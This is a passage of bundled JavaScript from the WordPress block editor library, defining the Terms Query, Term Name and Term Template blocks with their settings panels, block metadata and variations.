              setAttributes({ textAlign: nextAlign });
            }
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(import_block_editor275.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
        import_components170.__experimentalToolsPanel,
        {
          label: (0, import_i18n256.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              isLink: false
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
            import_components170.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!isLink,
              label: (0, import_i18n256.__)(&quot;Make term name a link&quot;),
              onDeselect: () =&gt; setAttributes({ isLink: false }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
                import_components170.ToggleControl,
                {
                  label: (0, import_i18n256.__)(&quot;Make term name a link&quot;),
                  onChange: () =&gt; setAttributes({ isLink: !isLink }),
                  checked: isLink
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(TagName2, { ...blockProps, children: termNameDisplay })
    ] });
  }

  // packages/block-library/build-module/term-name/index.mjs
  var { name: name116 } = block_default115;
  var settings115 = {
    icon: term_name_default,
    example: {},
    edit: TermNameEdit
  };
  var init115 = () =&gt; initBlock({ name: name116, metadata: block_default115, settings: settings115 });

  // packages/block-library/build-module/terms-query/index.mjs
  var terms_query_exports = {};
  __export(terms_query_exports, {
    init: () =&gt; init116,
    metadata: () =&gt; block_default116,
    name: () =&gt; name117,
    settings: () =&gt; settings116
  });

  // packages/block-library/build-module/terms-query/block.json
  var block_default116 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/terms-query&quot;,
    title: &quot;Terms Query&quot;,
    category: &quot;theme&quot;,
    description: &quot;An advanced block that allows displaying taxonomy terms based on different query parameters and visual configurations.&quot;,
    keywords: [&quot;terms&quot;, &quot;taxonomy&quot;, &quot;categories&quot;, &quot;tags&quot;, &quot;list&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      termQuery: {
        type: &quot;object&quot;,
        default: {
          perPage: 10,
          taxonomy: &quot;category&quot;,
          order: &quot;asc&quot;,
          orderBy: &quot;name&quot;,
          include: [],
          hideEmpty: true,
          showNested: false,
          inherit: false
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      }
    },
    usesContext: [&quot;templateSlug&quot;],
    providesContext: {
      termQuery: &quot;termQuery&quot;
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      layout: true,
      interactivity: true
    }
  };

  // packages/block-library/build-module/terms-query/edit/index.mjs
  var import_data164 = __toESM(require_data(), 1);
  var import_block_editor280 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/terms-query/edit/terms-query-content.mjs
  var import_element139 = __toESM(require_element(), 1);
  var import_block_editor278 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/terms-query/edit/inspector-controls/index.mjs
  var import_i18n261 = __toESM(require_i18n(), 1);
  var import_components178 = __toESM(require_components(), 1);
  var import_block_editor277 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/terms-query/utils.mjs
  var import_core_data94 = __toESM(require_core_data(), 1);
  var import_data161 = __toESM(require_data(), 1);
  var import_element137 = __toESM(require_element(), 1);
  function usePublicTaxonomies() {
    const taxonomies = (0, import_data161.useSelect)(
      (select9) =&gt; select9(import_core_data94.store).getTaxonomies({ per_page: -1 }),
      []
    );
    return (0, import_element137.useMemo)(() =&gt; {
      return taxonomies?.filter(
        ({ visibility }) =&gt; visibility?.publicly_queryable
      ) || [];
    }, [taxonomies]);
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/taxonomy-control.mjs
  var import_components171 = __toESM(require_components(), 1);
  var import_jsx_runtime520 = __toESM(require_jsx_runtime(), 1);
  function TaxonomyControl({ value, onChange, ...props }) {
    const taxonomies = usePublicTaxonomies();
    const taxonomyOptions = taxonomies.map((taxonomy) =&gt; ({
      label: taxonomy.name,
      value: taxonomy.slug
    }));
    return /* @__PURE__ */ (0, import_jsx_runtime520.jsx)(
      import_components171.SelectControl,
      {
        __next40pxDefaultSize: true,
        options: taxonomyOptions,
        value,
        onChange,
        ...props
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/order-control.mjs
  var import_i18n257 = __toESM(require_i18n(), 1);
  var import_components172 = __toESM(require_components(), 1);
  var import_jsx_runtime521 = __toESM(require_jsx_runtime(), 1);
  function OrderControl2({ orderBy, order, onChange, ...props }) {
    return /* @__PURE__ */ (0, import_jsx_runtime521.jsx)(
      import_components172.SelectControl,
      {
        __next40pxDefaultSize: true,
        options: [
          {
            label: (0, import_i18n257.__)(&quot;Name: A \u2192 Z&quot;),
            value: &quot;name/asc&quot;
          },
          {
            label: (0, import_i18n257.__)(&quot;Name: Z \u2192 A&quot;),
            value: &quot;name/desc&quot;
          },
          {
            label: (0, import_i18n257.__)(&quot;Count, high to low&quot;),
            value: &quot;count/desc&quot;
          },
          {
            label: (0, import_i18n257.__)(&quot;Count, low to high&quot;),
            value: &quot;count/asc&quot;
          }
        ],
        value: orderBy + &quot;/&quot; + order,
        onChange: (value) =&gt; {
          const [newOrderBy, newOrder] = value.split(&quot;/&quot;);
          onChange(newOrderBy, newOrder);
        },
        ...props
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/empty-terms-control.mjs
  var import_components173 = __toESM(require_components(), 1);
  var import_jsx_runtime522 = __toESM(require_jsx_runtime(), 1);
  function EmptyTermsControl({ value, onChange, ...props }) {
    return /* @__PURE__ */ (0, import_jsx_runtime522.jsx)(
      import_components173.ToggleControl,
      {
        checked: !value,
        onChange: (showEmpty) =&gt; onChange(!showEmpty),
        ...props
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/nested-terms-control.mjs
  var import_components174 = __toESM(require_components(), 1);
  var import_jsx_runtime523 = __toESM(require_jsx_runtime(), 1);
  function NestedTermsControl({ value, onChange, ...props }) {
    return /* @__PURE__ */ (0, import_jsx_runtime523.jsx)(import_components174.ToggleControl, { checked: value, onChange, ...props });
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/inherit-control.mjs
  var import_components175 = __toESM(require_components(), 1);
  var import_i18n258 = __toESM(require_i18n(), 1);
  var import_jsx_runtime524 = __toESM(require_jsx_runtime(), 1);
  function InheritControl({ value, onChange, label }) {
    return /* @__PURE__ */ (0, import_jsx_runtime524.jsxs)(
      import_components175.__experimentalToggleGroupControl,
      {
        __next40pxDefaultSize: true,
        label,
        isBlock: true,
        onChange: (newValue) =&gt; {
          onChange({
            inherit: newValue === &quot;default&quot;
          });
        },
        help: value ? (0, import_i18n258.__)(
          &quot;Display terms based on the current taxonomy archive. For hierarchical taxonomies, shows children of the current term. For non-hierarchical taxonomies, shows all terms.&quot;
        ) : (0, import_i18n258.__)(&quot;Display terms based on specific criteria.&quot;),
        value: value ? &quot;default&quot; : &quot;custom&quot;,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime524.jsx)(
            import_components175.__experimentalToggleGroupControlOption,
            {
              value: &quot;default&quot;,
              label: (0, import_i18n258.__)(&quot;Default&quot;)
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime524.jsx)(import_components175.__experimentalToggleGroupControlOption, { value: &quot;custom&quot;, label: (0, import_i18n258.__)(&quot;Custom&quot;) })
        ]
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/max-terms-control.mjs
  var import_i18n259 = __toESM(require_i18n(), 1);
  var import_components176 = __toESM(require_components(), 1);
  var import_jsx_runtime525 = __toESM(require_jsx_runtime(), 1);
  function MaxTermsControl({ value, onChange, ...props }) {
    return /* @__PURE__ */ (0, import_jsx_runtime525.jsx)(
      import_components176.RangeControl,
      {
        __next40pxDefaultSize: true,
        value,
        min: 0,
        max: 100,
        onChange,
        help: (0, import_i18n259.__)(
          &quot;Limit the number of terms you want to show. To show all terms, use 0 (zero).&quot;
        ),
        ...props
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/advanced-controls.mjs
  var import_i18n260 = __toESM(require_i18n(), 1);
  var import_block_editor276 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime526 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl8 } = unlock(import_block_editor276.privateApis);
  function AdvancedControls({
    TagName: TagName2,
    setAttributes,
    clientId
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime526.jsx)(import_block_editor276.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime526.jsx)(
      HTMLElementControl8,
      {
        tagName: TagName2,
        onChange: (value) =&gt; setAttributes({ tagName: value }),
        clientId,
        options: [
          { label: (0, import_i18n260.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
          { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
          { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
          { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; }
        ]
      }
    ) });
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/include-control.mjs
  var import_components177 = __toESM(require_components(), 1);
  var import_data162 = __toESM(require_data(), 1);
  var import_core_data95 = __toESM(require_core_data(), 1);
  var import_element138 = __toESM(require_element(), 1);
  var import_compose60 = __toESM(require_compose(), 1);
  var import_html_entities16 = __toESM(require_html_entities(), 1);
  var import_jsx_runtime527 = __toESM(require_jsx_runtime(), 1);
  var EMPTY_ARRAY7 = [];
  var BASE_QUERY3 = {
    order: &quot;asc&quot;,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  function IncludeControl({
    value: include,
    taxonomy,
    onChange,
    ...props
  }) {
    const [search, setSearch] = (0, import_element138.useState)(&quot;&quot;);
    const [value, setValue] = (0, import_element138.useState)(EMPTY_ARRAY7);
    const [suggestions, setSuggestions] = (0, import_element138.useState)(EMPTY_ARRAY7);
    const debouncedSearch = (0, import_compose60.useDebounce)(setSearch, 250);
    const { searchResults, searchHasResolved } = (0, import_data162.useSelect)(
      (select9) =&gt; {
        if (!search) {
          return { searchResults: EMPTY_ARRAY7, searchHasResolved: true };
        }
        const { getEntityRecords, hasFinishedResolution } = select9(import_core_data95.store);
        const selectorArgs = [
          &quot;taxonomy&quot;,
          taxonomy,
          {
            ...BASE_QUERY3,
            search,
            orderby: &quot;name&quot;,
            exclude: include,
            per_page: 20
          }
        ];
        return {
          searchResults: getEntityRecords(...selectorArgs),
          searchHasResolved: hasFinishedResolution(
            &quot;getEntityRecords&quot;,
            selectorArgs
          )
        };
      },
      [search, taxonomy, include]
    );
    const currentTerms = (0, import_data162.useSelect)(
      (select9) =&gt; {
        if (!include?.length) {
          return EMPTY_ARRAY7;
        }
        const { getEntityRecords } = select9(import_core_data95.store);
        return getEntityRecords(&quot;taxonomy&quot;, taxonomy, {
          ...BASE_QUERY3,
          include,
          per_page: include.length
        });
      },
      [include, taxonomy]
    );
    (0, import_element138.useEffect)(() =&gt; {
      if (!include?.length) {
        setValue(EMPTY_ARRAY7);
      }
      if (!currentTerms?.length) {
        return;
      }
      const sanitizedValue = include.reduce((accumulator, id) =&gt; {
        const entity = currentTerms.find((term) =&gt; term.id === id);
        if (entity) {
          accumulator.push({
            id,
            value: (0, import_html_entities16.decodeEntities)(entity.name)
          });
        }
        return accumulator;
      }, []);
      setValue(sanitizedValue);
    }, [include, currentTerms]);
    const entitiesInfo = (0, import_element138.useMemo)(() =&gt; {
      if (!searchResults?.length) {
        return { names: EMPTY_ARRAY7, mapByName: {} };
      }
      const names = [];
      const mapByName = {};
      searchResults.forEach((result) =&gt; {
        const decodedName = (0, import_html_entities16.decodeEntities)(result.name);
        names.push(decodedName);
        mapByName[decodedName] = result;
      });
      return { names, mapByName };
    }, [searchResults]);
    (0, import_element138.useEffect)(() =&gt; {
      if (!searchHasResolved) {
        return;
      }
      setSuggestions(entitiesInfo.names);
    }, [entitiesInfo.names, searchHasResolved]);
    const getIdByValue = (entitiesMappedByName, entity) =&gt; entity?.id || entitiesMappedByName?.[entity]?.id;
    const onTermChange = (newValue) =&gt; {
      const ids = Array.from(
        newValue.reduce((accumulator, entity) =&gt; {
          const id = getIdByValue(entitiesInfo.mapByName, entity);
          if (id) {
            accumulator.add(id);
          }
          return accumulator;
        }, /* @__PURE__ */ new Set())
      );
      setSuggestions(EMPTY_ARRAY7);
      onChange(ids);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime527.jsx)(
      import_components177.FormTokenField,
      {
        __next40pxDefaultSize: true,
        value,
        onInputChange: debouncedSearch,
        suggestions,
        onChange: onTermChange,
        __experimentalShowHowTo: false,
        ...props
      }
    );
  }

  // packages/block-library/build-module/terms-query/edit/inspector-controls/index.mjs
  var import_jsx_runtime528 = __toESM(require_jsx_runtime(), 1);
  function TermsQueryInspectorControls({
    attributes: attributes2,
    setQuery,
    setAttributes,
    clientId,
    templateSlug
  }) {
    const { termQuery, tagName: TagName2 } = attributes2;
    const {
      taxonomy,
      orderBy,
      order,
      hideEmpty,
      inherit,
      showNested,
      perPage,
      include
    } = termQuery;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const taxonomies = usePublicTaxonomies();
    const isTaxonomyHierarchical = taxonomies.find(
      (_taxonomy) =&gt; _taxonomy.slug === taxonomy
    )?.hierarchical;
    const inheritQuery = !!inherit;
    const displayInheritControl = [&quot;taxonomy&quot;, &quot;category&quot;, &quot;tag&quot;, &quot;archive&quot;].includes(templateSlug) || templateSlug?.startsWith(&quot;taxonomy-&quot;) || templateSlug?.startsWith(&quot;category-&quot;) || templateSlug?.startsWith(&quot;tag-&quot;);
    const displayShowNestedControl = isTaxonomyHierarchical;
    const hasIncludeFilter = !!include?.length;
    const queryTypeControlLabel = (0, import_i18n261.__)(&quot;Query type&quot;);
    const taxonomyControlLabel = (0, import_i18n261.__)(&quot;Taxonomy&quot;);
    const orderByControlLabel = (0, import_i18n261.__)(&quot;Order by&quot;);
    const emptyTermsControlLabel = (0, import_i18n261.__)(&quot;Show empty terms&quot;);
    const nestedTermsControlLabel = (0, import_i18n261.__)(&quot;Show nested terms&quot;);
    const maxTermsControlLabel = (0, import_i18n261.__)(&quot;Max terms&quot;);
    const includeControlLabel = (0, import_i18n261.__)(&quot;Selected terms&quot;);
    return /* @__PURE__ */ (0, import_jsx_runtime528.jsxs)(import_jsx_runtime528.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(import_block_editor277.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime528.jsxs)(
        import_components178.__experimentalToolsPanel,
        {
          label: (0, import_i18n261.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              termQuery: {
                taxonomy: &quot;category&quot;,
                order: &quot;asc&quot;,
                orderBy: &quot;name&quot;,
                include: [],
                hideEmpty: true,
                showNested: false,
                inherit: false,
                perPage: 10
              }
            });
          },
          dropdownMenuProps,
          children: [
            displayInheritControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; inherit !== false,
                label: queryTypeControlLabel,
                onDeselect: () =&gt; setQuery({ inherit: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  InheritControl,
                  {
                    label: queryTypeControlLabel,
                    value: inherit,
                    onChange: setQuery
                  }
                )
              }
            ),
            !inheritQuery &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; taxonomy !== &quot;category&quot;,
                label: taxonomyControlLabel,
                onDeselect: () =&gt; {
                  setQuery({ taxonomy: &quot;category&quot; });
                },
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  TaxonomyControl,
                  {
                    label: taxonomyControlLabel,
                    value: taxonomy,
                    onChange: (value) =&gt; (
                      // We also need to reset the include filter when changing taxonomy.
                      setQuery({ taxonomy: value, include: [] })
                    )
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; orderBy !== &quot;name&quot; || order !== &quot;asc&quot;,
                label: orderByControlLabel,
                onDeselect: () =&gt; setQuery({ orderBy: &quot;name&quot;, order: &quot;asc&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  OrderControl2,
                  {
                    label: orderByControlLabel,
                    ...{ orderBy, order },
                    onChange: (newOrderBy, newOrder) =&gt; {
                      setQuery({
                        orderBy: newOrderBy,
                        order: newOrder
                      });
                    },
                    disabled: hasIncludeFilter,
                    help: hasIncludeFilter ? (0, import_i18n261.__)(
                      &quot;When specific terms are selected, the order is based on their selection order.&quot;
                    ) : void 0
                  }
                )
              }
            ),
            !inheritQuery &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!include?.length,
                label: includeControlLabel,
                onDeselect: () =&gt; setQuery({
                  include: [],
                  orderBy: &quot;name&quot;,
                  order: &quot;asc&quot;
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  IncludeControl,
                  {
                    label: includeControlLabel,
                    taxonomy,
                    value: include,
                    onChange: (value) =&gt; setQuery({ include: value })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; hideEmpty !== true,
                label: emptyTermsControlLabel,
                onDeselect: () =&gt; setQuery({ hideEmpty: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  EmptyTermsControl,
                  {
                    label: emptyTermsControlLabel,
                    value: hideEmpty,
                    onChange: (value) =&gt; setQuery({ hideEmpty: value })
                  }
                )
              }
            ),
            displayShowNestedControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; showNested !== false,
                label: nestedTermsControlLabel,
                onDeselect: () =&gt; setQuery({ showNested: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  NestedTermsControl,
                  {
                    label: nestedTermsControlLabel,
                    value: showNested,
                    onChange: (value) =&gt; setQuery({ showNested: value }),
                    disabled: hasIncludeFilter,
                    help: hasIncludeFilter ? (0, import_i18n261.__)(
                      &quot;When specific terms are selected, only those are displayed.&quot;
                    ) : void 0
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
              import_components178.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; perPage !== 10,
                label: maxTermsControlLabel,
                onDeselect: () =&gt; setQuery({ perPage: 10 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
                  MaxTermsControl,
                  {
                    label: maxTermsControlLabel,
                    value: perPage,
                    onChange: (value) =&gt; setQuery({ perPage: value })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime528.jsx)(
        AdvancedControls,
        {
          TagName: TagName2,
          setAttributes,
          clientId
        }
      )
    ] });
  }

  // packages/block-library/build-module/terms-query/edit/terms-query-content.mjs
  var import_jsx_runtime529 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE18 = [[&quot;core/term-template&quot;]];
  function TermsQueryContent({
    attributes: attributes2,
    setAttributes,
    clientId,
    context
  }) {
    const { tagName: TagName2 } = attributes2;
    const blockProps = (0, import_block_editor278.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor278.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE18
    });
    const setQuery = (0, import_element139.useCallback)(
      (newQuery) =&gt; setAttributes((prevAttributes) =&gt; ({
        termQuery: { ...prevAttributes.termQuery, ...newQuery }
      })),
      [setAttributes]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime529.jsxs)(import_jsx_runtime529.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime529.jsx)(
        TermsQueryInspectorControls,
        {
          attributes: attributes2,
          setQuery,
          setAttributes,
          clientId,
          templateSlug: context?.templateSlug
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime529.jsx)(TagName2, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/terms-query/edit/terms-query-placeholder.mjs
  var import_data163 = __toESM(require_data(), 1);
  var import_blocks120 = __toESM(require_blocks(), 1);
  var import_block_editor279 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime530 = __toESM(require_jsx_runtime(), 1);
  function TermsQueryPlaceholder({
    attributes: attributes2,
    clientId,
    name: name123
  }) {
    const { blockType, activeBlockVariation, scopeVariations } = (0, import_data163.useSelect)(
      (select9) =&gt; {
        const {
          getActiveBlockVariation,
          getBlockType: getBlockType5,
          getBlockVariations: getBlockVariations3
        } = select9(import_blocks120.store);
        return {
          blockType: getBlockType5(name123),
          activeBlockVariation: getActiveBlockVariation(
            name123,
            attributes2
          ),
          scopeVariations: getBlockVariations3(name123, &quot;block&quot;)
        };
      },
      [name123, attributes2]
    );
    const icon4 = activeBlockVariation?.icon?.src || activeBlockVariation?.icon || blockType?.icon?.src;
    const label = activeBlockVariation?.title || blockType?.title;
    const { replaceInnerBlocks } = (0, import_data163.useDispatch)(import_block_editor279.store);
    const blockProps = (0, import_block_editor279.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime530.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime530.jsx)(
      import_block_editor279.__experimentalBlockVariationPicker,
      {
        icon: icon4,
        label,
        variations: scopeVariations,
        onSelect: (variation) =&gt; {
          if (variation.innerBlocks) {
            replaceInnerBlocks(
              clientId,
              (0, import_blocks120.createBlocksFromInnerBlocksTemplate)(
                variation.innerBlocks
              ),
              false
            );
          }
        }
      }
    ) });
  }

  // packages/block-library/build-module/terms-query/edit/index.mjs
  var import_jsx_runtime531 = __toESM(require_jsx_runtime(), 1);
  var TermsQueryEdit = (props) =&gt; {
    const hasInnerBlocks = (0, import_data164.useSelect)(
      (select9) =&gt; !!select9(import_block_editor280.store).getBlocks(props.clientId).length,
      [props.clientId]
    );
    const Component = hasInnerBlocks ? TermsQueryContent : TermsQueryPlaceholder;
    return /* @__PURE__ */ (0, import_jsx_runtime531.jsx)(Component, { ...props });
  };
  var edit_default40 = TermsQueryEdit;

  // packages/block-library/build-module/terms-query/save.mjs
  var import_block_editor281 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime532 = __toESM(require_jsx_runtime(), 1);
  function save55({ attributes: { tagName: Tag = &quot;div&quot; } }) {
    const blockProps = import_block_editor281.useBlockProps.save();
    const innerBlocksProps = import_block_editor281.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime532.jsx)(Tag, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/terms-query/variations.mjs
  var import_i18n262 = __toESM(require_i18n(), 1);
  var import_components179 = __toESM(require_components(), 1);
  var import_jsx_runtime533 = __toESM(require_jsx_runtime(), 1);
  var titleDate2 = /* @__PURE__ */ (0, import_jsx_runtime533.jsx)(import_components179.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime533.jsx)(import_components179.Path, { d: &quot;M 41,9 H 7 v 3 h 34 z m 0,9 H 7 v 3 h 34 z m 0,18 H 7 v 3 h 34 z m 0,-9 H 7 v 3 h 34 z&quot; }) });
  var titleExcerpt2 = /* @__PURE__ */ (0, import_jsx_runtime533.jsx)(import_components179.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 48 48&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime533.jsx)(import_components179.Path, { d: &quot;m 36,36 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 H 36 Z M 31,9 H 7 v 3 h 24 z m 0,9 H 7 v 3 h 24 z m 0,18 H 7 v 3 h 24 z m 0,-9 H 7 v 3 h 24 z&quot; }) });
  var termName = [
    &quot;core/term-name&quot;,
    {
      isLink: true
    }
  ];
  var variations17 = [
    {
      name: &quot;name&quot;,
      title: (0, import_i18n262.__)(&quot;Name&quot;),
      description: (0, import_i18n262.__)(&quot;Display the terms&#039; names.&quot;),
      attributes: {},
      icon: titleDate2,
      scope: [&quot;block&quot;],
      innerBlocks: [[&quot;core/term-template&quot;, {}, [termName]]]
    },
    {
      name: &quot;name-count&quot;,
      title: (0, import_i18n262.__)(&quot;Name &amp; Count&quot;),
      description: (0, import_i18n262.__)(
        &quot;Display the terms&#039; names and number of posts assigned to each term.&quot;
      ),
      attributes: {},
      icon: titleExcerpt2,
      scope: [&quot;block&quot;],
      innerBlocks: [
        [
          &quot;core/term-template&quot;,
          {},
          [
            [
              &quot;core/group&quot;,
              { layout: { type: &quot;flex&quot;, flexWrap: &quot;nowrap&quot; } },
              [termName, [&quot;core/term-count&quot;]]
            ]
          ]
        ]
      ]
    }
  ];
  var variations_default17 = variations17;

  // packages/block-library/build-module/terms-query/index.mjs
  var { name: name117 } = block_default116;
  var settings116 = {
    icon: loop_default,
    edit: edit_default40,
    save: save55,
    example: {},
    variations: variations_default17
  };
  var init116 = () =&gt; initBlock({ name: name117, metadata: block_default116, settings: settings116 });

  // packages/block-library/build-module/term-template/index.mjs
  var term_template_exports = {};
  __export(term_template_exports, {
    init: () =&gt; init117,
    metadata: () =&gt; block_default117,
    name: () =&gt; name118,
    settings: () =&gt; settings117
  });

  // packages/block-library/build-module/term-template/block.json
  var block_default117 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/term-template&quot;,
    title: &quot;Term Template&quot;,
    category: &quot;theme&quot;,
    ancestor: [&quot;core/terms-query&quot;],
    description: &quot;Contains the block elements used to render a taxonomy term, like the name, description, and more.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;termQuery&quot;],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      align: [&quot;wide&quot;, &quot;full&quot;],
      layout: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        blockGap: {
          __experimentalDefault: &quot;1.25em&quot;
        },
        __experimentalDefaultControls: {
          blockGap: true,
          padding: false,
          margin: false
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    style: &quot;wp-block-term-template&quot;,
    editorStyle: &quot;wp-block-term-template-editor&quot;
  };

  // packages/block-library/build-module/term-template/edit.mjs
  var import_components180 = __toESM(require_components(), 1);
  var import_element140 = __toESM(require_element(), 1);
  var import_data165 = __toESM(require_data(), 1);
  var import_i18n263 = __toESM(require_i18n(), 1);
  var import_block_editor282 = __toESM(require_block_editor(), 1);
  var import_core_data96 = __toESM(require_core_data(), 1);
  var import_jsx_runtime534 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE19 = [[&quot;core/term-name&quot;]];
  function TermTemplateInnerBlocks({ classList }) {
    const innerBlocksProps = (0, import_block_editor282.useInnerBlocksProps)(
      { className: clsx_default(&quot;wp-block-term&quot;, classList) },
      { template: TEMPLATE19, __unstableDisableLayoutClassNames: true }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(&quot;li&quot;, { ...innerBlocksProps });
  }
  function TermTemplateBlockPreview({
    blocks,
    blockContextId,
    classList,
    isHidden,
    setActiveBlockContextId
  }) {
    const blockPreviewProps = (0, import_block_editor282.__experimentalUseBlockPreview)({
      blocks,
      props: {
        className: clsx_default(&quot;wp-block-term&quot;, classList)
      }
    });
    const handleOnClick = () =&gt; {
      setActiveBlockContextId(blockContextId);
    };
    const style2 = {
      display: isHidden ? &quot;none&quot; : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(
      &quot;li&quot;,
      {
        ...blockPreviewProps,
        tabIndex: 0,
        role: &quot;button&quot;,
        onClick: handleOnClick,
        onKeyPress: handleOnClick,
        style: style2
      }
    );
  }
  var MemoizedTermTemplateBlockPreview = (0, import_element140.memo)(TermTemplateBlockPreview);
  function TermTemplateEdit({
    clientId,
    attributes: { layout },
    setAttributes,
    context: {
      termQuery: {
        taxonomy,
        order,
        orderBy,
        hideEmpty,
        showNested = false,
        perPage,
        include
      } = {}
    },
    __unstableLayoutClassNames
  }) {
    const { type: layoutType, columnCount = 3 } = layout || {};
    const [activeBlockContextId, setActiveBlockContextId] = (0, import_element140.useState)();
    const queryArgs = {
      hide_empty: hideEmpty,
      order,
      orderby: orderBy,
      // There is a mismatch between `WP_Term_Query` and the REST API parameter default
      // values to fetch all items. In `WP_Term_Query`, the default is `&#039;&#039;|0` and in
      // the REST API is `-1`.
      per_page: perPage || -1
    };
    if (!showNested &amp;&amp; !include?.length) {
      queryArgs.parent = 0;
    }
    if (include?.length) {
